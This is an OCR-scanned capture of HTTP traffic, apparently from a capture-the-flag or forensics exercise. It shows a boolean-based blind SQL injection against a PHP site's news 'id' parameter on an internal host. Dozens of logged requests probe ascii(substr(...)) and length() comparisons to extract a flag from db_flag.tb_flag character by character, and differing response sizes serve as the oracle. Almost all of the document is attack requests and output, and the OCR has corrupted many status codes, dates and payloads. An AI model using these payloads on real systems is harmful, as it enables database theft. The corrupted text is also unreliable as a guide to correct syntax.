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GET /index.php?act=news&id=1%20and%20ascii(substr(((select%2@concat ws(char(94),%2eflag)
%20%20from¥%20db_flag.tb flag¥%2e%2elimit¥%200,1)),%2018,%201))>100 HTTP/1.1

Host: 172.16.80.11

User-Agent: Mozilla/5.8 (Macintosh; Intel Mac 0S X 1@0.7; rv:33.@) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;9=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

HTTP/1.1 280 OK

Date: Mon, 22 Dec 20814 16:17:42 GMT
Server: Apache/2.2.15 (Cent0S)
X-Powered-By: PHP/5.3.3
Content-Length: 848

Connection: close

Content-Type: text/html; charset=UTF-8
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HTTP/1.1 200@ OK

Date: Mon, 22 Dec 2014 16:17:42 GMT
Server: Apache/2.2.15 (Cent0S)
X-Powered-By: PHP/5.3.3
Content-Length: 848

Connection: close

Content-Type: text/html; charset=UTF-8
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<IDOCTYPE html>
<html>
<head>
<title>My First Website¢/title>
<link href="css/bootstrap.min.css"” rel="stylesheet">»
<script src="js/jquery.min.js"></script>
<script src="js/bootstrap.min.js"></script>
</head>
<body>

<nav class="navbar navbar-default" role="navigation">
<div class="navbar-header">»
<a class="navbar-brand” href="#">WebSite</a>
</div>
<div>
<ul class="nav navbar-nav">
<li class="active">»<a href="index.php">Index</a></1i>
<li><a href="index.php?act=news&id=1">News</a></1i>
<li><a href="index.php?act=about&file=test.txt">About</a></1i>
<li»><a href="index.php?act=ver&msg=1.8">Version</a></1i>

</1i>
</ul>
</div>

</nav>

e lass=—cpani—teiE—center=

<h1>This's Titlel</h1><br><p class="lead'>Content is very shortl</p></div>
T7Boays

</html>

HTTP/1.1 28@ OK

Date: Mon, 22 Dec 2014 16:17:42 GMT
Server: Apache/2.2.15 (Cent0s)
X-Powered-By: PHP/5.3.3
Content-Length: 78@

Connection: close

Content-Type: text/html; charset=UTF-8

<1DOCTYPE html>
<html>
<head>
<title>My First Website</title>
<link href="css/bootstrap.min.css"” rel="stylesheet">
<script src="js/jquery.min.js"></script>
<script src="js/bootstrap.min.js"></script>
</head>
<body>

<nav class="navbar navbar-default" role="navigation">
<div class="navbar-header">
<a class="navbar-brand” href="#">WebSite</a>
</div>
<div>
<ul class="nav navbar-nav">
<li class=" actlve ><a href=" 1ndex php”>Index</a></1li>
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L11><d Nrert= 1nadex.pnpract=news&la=1 >News</fa><fL11>
<li><a href="index.php?act=about&file=test.txt">About</a><¢/1i>
<li><a href="index.php?act=ver&msg=1.0">Version</a></1li>
</1i>
</ul>
</div>

</nav>

<div class="span7 text-center">

</div>

</body>

</html>
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6256 172.16.80.11 text/html 848 bytes index.php?act=news&id=1%20and%20length((select¥%20concat_ ws(char(34),%20flag)%20%20from%20db_flag.th_flag%20%20limit%200,1))>37
6266 172.16.80.11 text/html 780 bytes index.php?act=news&id=1%20and%20length((select%20concat_ws(char(34),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1))>38
6276 172.16.80.11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag¥20%20limit%2§0,1))[%2071 p6201))> 100
6286 172.16.80.11 text/html 780 bytes index.php?act=news&id=1%20and%20asciifsubstr(§select%20concat_ws{char(94),%20flag)%20%20from%20db_flag.th_flag¥20%20limit%20,1)[2%201,46201))> 200
6296 172.16.80.11 text/html 780 bytes index.php?act=news&id=1%20and%20asciifsubstr(fselect¥20concat_ws(char(94),%20flag)%20%20from%20db flag.tb_flag%20%20limit%2§0,1))[%6201,¢6201))> 150
6306 172.16.80.11 text/html 780 bytes index.php?act=news&id=1%20and%20asciifsubstr(fselect%20concat_ws(char(94),%20flag)%20%20from%20db flag.tb_flag%20%20limit%2§0,1))|%201,§6201))> 125
6316 172.16.80.11 text/html 780 bytes index.php?act=news&id=1%20and%20asciifsubstr(fselect%20concat ws(char(24),%20flag)%20%20from%20db _flag.th_flag%20%20limit%2§0,1))(%201,£6201))>112
6326 172.16.80.11 text/html 780 bytes index.php?act=news&id=1%20and%20asciifsubstr(fselect¥20concat_ws(char(94),%20flag)%20%20from%20db _flag.tb_flag%20%20limit%290,1))[%6201,¢6201))> 106
6336 172.16.80.11 text/html 780 bytes index.php?act=news&id=1%20and%20asciifsubstr(fselect%20concat_ws(char(94),%20flag)%20%20from%20db flag.tb_flag%20%20limit%2§0,1))|%201,6201))> 103
6346 172.16.80.11 text/html 848 bytes index.php?act=news&id=1%20and%20asciifsubstr(fselect%20concat ws(char(24),%20flag)%20%20from%20db _flag.th_flag%20%20limit%2§0,1))|%201,6201))>101
6356 172.16.80.11 text/html 780 bytes index.php?act=news&id=1%20and%20asciifsubstr(fselect¥20concat_ws(char(94),%20flag)%20%20from%20db _flag.tb_flag%20%20limit%290,1))[%6201,¢6201))> 102
6366 172.16.80.11 text/html 780 bytes index.php?act=news&id=1%20and%20asciifsubstr({select%20concat_ws(char(94),%20flag)%20%20from%20db flag.tb_flag%20%20limit%2§0,1))|%201,p6201))> 102
6376 172.16.80.11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii[substr(i(select%20concat_ws(char(94),%20flag)%20%20from%20db _flag.th_flag%20%20limit%2§0,1)) f2023%201))> 100
6386 172.16.80.11 text/html 780 bytes index.php?act=news&id=1%20and%20asciifsubstr(§select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.th_flag%20%20limit%200,1)) {#%202,%201))>200
6396 172.16.80.11 text/html 780 bytes index.php?act=news&id=1%20and%20asciifsubstr(fselect%20concat_ws(char(94),%20flag)%20%20from%20db flag.tb_flag%20%20limit%290, 1)) [%6202,%201))> 150
6406 172.16.80.11 text/html 780 bytes index.php?act=news&id=1%20and%20asciifsubstr({select%20concat_ws(char(94),%20flag)%20%20from%20db _flag.tb_flag%20%20limit%2§0,1)) [%6202,%201))> 125
6416 172.16.80.11 text/html 780 bytes index.php?act=news&id=1%20and%20asciifsubstr(§select%20concat_ws(char(94),%20flag)%20%20from%20db flag.th_flag%20%201imit%2§0,1)){%202,%201))> 112
6426 172.16.80.11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select¥%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flagt20%20limit%2¢0,1))96202,%201))> 106
6436 172.16.80.11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag#20%20limit%240,1))9202,%201))> 109
6446 172.16.80.11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db _flag.th_flag%20%20limit%2§0,1)) %6202,%201))> 108
6456 172.16.80.11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flagt20%20limit%240,1))9202,%201))> 107
6466 172.16.80.11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select¥%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag#20%20limit%240,1)) 24202.95201))> 108
6476 172.16.80.11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db _flag.th_flag%20%20limit%2§0,1)}%203,$201))> 100
6486 172.16.80.11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(34),%20flag)%20%20from%20db flag.tb_flag%20%20limit%200,1)}%203,$201))>50

6496 172.16.80.11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select¥%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)}%203,#201))>75

6506 172.16.80.11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db _flag.th_flag%20%20limit%2§0,1)}%203,201))> 88

6516 172.16.80.11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db flag.tb_flag%20%20limit%290,1)}%203, $6201))>94

6526 172.16.80.11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)}%203,201))>97

6536 172.16.80.11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db _flag.th_flag%20%20limit%2§0,1)}%203,$201))> 96

6546 172.16.80.11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(34),%20flag)%20%20from%20db flag.tb_flag%20%20limit%200,1)}%203,#201))>97

6556 172.16.80.11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag¥20%20limit%240,1)[%20%,ps201))> 100
6566 172.16.80.11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db _flag.th_flag%20%20limit%2§0,1)}%204, p6201))> 200
6576 172.16.80.11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db flag.tb_flag%20%20limit%290, 1)}%204, 6201))> 150
6586 172.16.80.11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db _flag.tb_flag%20%20limit%2§0,1)}§%204, p6201))> 125
6596 172.16.80.11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db _flag.th_flag%20%20limit%2§0,1)}%204,p201))> 112
6606 172.16.80.11 text/html 780 bvtes index.ohpn?act=news&id=1%20and%20ascii(substr(((select%20concat wsichar94).%20flac1%20%20from%20db flaa.tb flaa%20%20limit%200.11%204.k62011> 106




6616 172.16.80.11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db flag.tb_flag%20%20limit%2§0,1)§%204, f6201))> 103

6626 172.16.80.11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db _flag.th_flag%20%20limit%290, 1)}%204, p6201))>101

6636 172.16.80.11 text/html 848 bytes index.php?act: id=1%20and%20ascii(substr(((select¥%20concat_ws(char(94),%20flag)%20%20from%20db _flag.tb_flag%20%20limit9%2¢0, 1)}96204, }6201))> 102

6646 172.16.80.11 text/html 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db _flag.tb_flag%20%20limit%2§0,1) 201))>103

6656 172.16.80.11 text/html 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws{char(94),%20flag)%20%20from%20db _flag.th_flag%20%20limit%200; T %205, %20y =100 v
< >
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